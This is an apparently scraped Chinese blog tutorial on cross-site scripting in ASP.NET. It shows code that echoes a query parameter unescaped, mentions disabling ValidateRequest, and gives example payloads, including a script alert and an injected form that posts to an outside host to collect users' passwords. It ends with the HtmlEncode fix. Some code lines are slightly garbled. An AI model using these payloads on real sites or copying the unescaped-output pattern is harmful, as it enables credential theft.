zoukankan      html  css  js  c++  java
  • XSS漏洞(跨站脚本)

    不要轻信用户提交上来的数据
    alert消息太难看,因此开发一个aspx页面用来统一展示消息ShowMessage.ashx

    复制代码
    //主页将判断重定向到另一个页面
    if (TextBox1.Text != "gao")
    {
        Response.Redirect("sey.aspx?Name=密码不正确!");
    }
    
    //在ShowMessage.aspx进行验证
    Label1.Text = Request["Name"];    //将Name值显示在Label1控件里面
    复制代码

    由于现在ASP.NET中以经屏蔽了查询语句里含有脚本,如 Name=<script> 是不行的需要手动关闭该功能,在 网页的 Page 里面设置 ValidateRequest="false" 停用查询语句的验证

    利用:
    http://127.0.0.1/ShowMessage.aspx?Name="hello" //将会在 Label1 里面显示hello
    也可以写入一段代码,如<script type="text/javascript">alert('你好!')</script>
    不过一定要加密,只识别加密的 http://www.hao123.com/haoserver/jmjm.htm 这里可加密解密
    也可以写入一个表单,如<form action="http://xgao.com/hehe.aspx"> 并且再设置一些文本框
    让用户输入账号,密码,这样就可以得到别人的账号密码了!

    论坛评论:
    如: File.AppendAllText("c:/11.txt",TextBox1.Text); //将用户的文章写入数据库
    Response.Write(File.ReadAllText("c:/11.txt")); //将用户的文章显示出来
    从上面可以看出,如果用户的文章里含有 <script> 没加密的,显示的时候也可执行

    解决:

    string s = File.ReadAllText("c:/11.txt");
    HttpUtility.HtmlEncode(s);); //将用户的文章转换成html编码,这样就显示的结果就是原文章
    HttpUtility.HtmlEncode(s)    //将字符串s中的< > 等特殊字符转换&gt;等成转义符
    HttpUtility.HtmlDecode(s)    //再将转换后的转换回来

    除了使用HttpUtility.HtmlDecode进行手动编码的话,还可以使用 Literal 控件显示,
    需要修改Literal的Mode属性为 Encode 那么就会自动进行 HtmlEncode 然后显示
    上面的这两个例子就是 XSS(跨站脚本, Cross-site scripting)

  • 相关阅读:
    [CSS] prefers-reduced-motion
    [VSCode] Adding Custom Syntax Highlighting to a Theme in VSCode
    Subversion/Git/ReviewBoard工作流程
    oracle hints
    Node.js学习(10)----文件系统fs
    网络子系统41_inet_peer平衡二叉树的删除
    由链表初始化看C语言的二级指针
    挣值管理不是搞数字游戏(4)——让挣值管理实用!
    关于数据库一致改关闭下redo日志文件丢失的处理办法的总结
    Android 操作系统的内存回收机制
  • 原文地址:https://www.cnblogs.com/yezuhui/p/6842710.html
Copyright © 2011-2022 走看看